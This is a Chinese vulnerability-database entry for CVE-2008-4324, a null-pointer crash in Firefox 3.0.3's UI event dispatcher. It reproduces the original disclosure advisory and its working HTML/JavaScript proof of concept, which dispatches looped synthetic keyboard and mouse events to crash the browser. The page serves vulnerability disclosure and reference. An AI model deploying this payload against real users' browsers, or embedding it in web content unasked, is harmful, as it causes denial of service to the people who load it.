Mozilla Firefox用户界面事件调度器拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116272 漏洞类型 资源管理错误
发布时间 2008-09-28 更新时间 2008-11-25
CVE编号 CVE-2008-4324 CNNVD-ID CNNVD-200809-413
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/6614
https://www.securityfocus.com/bid/31476
https://cxsecurity.com/issue/WLB-2008100089
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200809-413
|漏洞详情
Firefox是Mozilla所发布的开源WEB浏览器。WindowsXPSP2上的MozillaFirefox3.0.3中的用户界面事件调度程序允许远程攻击者通过一系列的keypress,click,onkeydown,onkeyup,onmousedown,和onmouseup事件来引起拒绝服务(空指针撤消引用和应用程序崩溃)。
|漏洞EXP
==========================================================================

Mozilla Firefox User Interface Null Pointer Dereference Dispatcher Crash
and Remote Denial of Service.

*Version Tested:*
Mozilla 3.0.3 - 1.9.0 Branch /(Specifically for Latest Version)/

*Severity:*
High

*Description:*
The mozilla firefox is vulnerable to user interface event dispatcher null
pointer dereference denial of service attacks. The dispatched event created
dynamically leads to firefox crash when it is called directly or in a
defined l
oop with number of generated  user interface events.The resultant crash
results in:

Exception Type: EXC_BAD_ACCESS (SIGBUS)
Exception Codes: KERN_PROTECTION_FAILURE at 0x0000000000000007
Crashed Thread: 0
Thread 0 Crashed: 0 libxpcom_core.dylib nsTArray_base::Length() const + 11
(nsTArray.h:66)
1 libgklayout.dylib
nsContentUtils::GetAccelKeyCandidates(nsIDOMEvent*,
nsTArray&) + 261 (nsContentUtils.cpp:4083)

This security issue is a result of unhandled exception which is a result
of null
pointer dereference.

*Links:*
http://www.secniche.org/advisory.html
http://evilfingers.com/advisory/index.php

*Proof of Concept
http://www.secniche.org/moz303/index.html
*
*Detection:*
SecNiche confirmed this vulnerability affects  Mozilla Firefox
on Microsoft Windows XP SP2 platform.The versions tested are:

Mozilla 3.0.3 - 1.9.0 Branch

*Disclosure Timeline:*
Disclosed: 28 September 2008
Release Date. 28 September ,2008

*Vendor Response:*
Mozilla confirm this vulnerability.
*
 Credit:*
Aditya K Sood

*Disclaimer*
The information in the advisory is believed to be accurate at the time
of publishing based
on currently available information. Use of the information constitutes
acceptance for use
 in an AS IS condition. There is no representation or warranties, either
express or implied
by or with respect to anything in this document, and shall not be liable
for a ny implied
warranties of merchantability or fitness for a particular purpose or for
any indirect special
or consequential damages.

==========================================================================

<html>
<title>Mozilla Firefox User Interface Dispatcher Crash and Remote Denial of Service</title>
<head>


<script language = "JavaScript">
var moz303 = document.createEvent("UIEvents");

moz303.initUIEvent("keypress", true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++)
{
        document.documentElement.dispatchEvent(moz303);
}


moz303.initUIEvent("click", true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++)
{
        document.documentElement.dispatchEvent(moz303);
}

moz303.initUIEvent("onkeydown", true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++)
{
        document.documentElement.dispatchEvent(moz303);
}

moz303.initUIEvent("onkeyup", true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++)
{
        document.documentElement.dispatchEvent(moz303);
}

moz303.initUIEvent("onmousedown", true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++)
{
        document.documentElement.dispatchEvent(moz303);
}

moz303.initUIEvent("onmouseup", true, true, this, 1);
for (var moz303_loop = 1 ; moz303_loop < 10 ; moz303_loop++)
{
        document.documentElement.dispatchEvent(moz303);
}

</script>

# milw0rm.com [2008-09-28]
|受影响的产品
Pardus Linux 2008 0 Pardus Linux 2007 0 Mozilla Firefox 3.0.3
|参考资料

来源:BID
名称:31476
链接:http://www.securityfocus.com/bid/31476
来源:BUGTRAQ
名称:20080928Advisory:MozillaFirefoxUserInterfaceNullPointerDereferenceDispatcherCrashandRemoteDenialofService.
链接:http://www.securityfocus.com/archive/1/archive/1/496807/100/0/threaded
来源:BUGTRAQ
名称:20080930Re:Advisory:MozillaFirefoxUserInterfaceNullPointerDereferenceDispatcherCrashandRemoteDenialofService.
链接:http://www.securityfocus.com/archive/1/496846/100/0/threaded
来源:www.secniche.org
链接:http://www.secniche.org/moz303/index.html
来源:www.secniche.org
链接:http://www.secniche.org/moz303.html
来源:MILW0RM
名称:6614
链接:http://www.milw0rm.com/exploits/6614
来源:SREASON
名称:4321
链接:http://securityreason.com/securityalert/4321
来源:SECUNIA
名称:32040
链接:http://secunia.com/advisories/32040
来源:evilfingers.com
链接:http://evilfingers.com/advisory/Firefox_User_Interface_Null_Pointer_Dereference_Dispatcher_Crash_n_Remote_DoS.php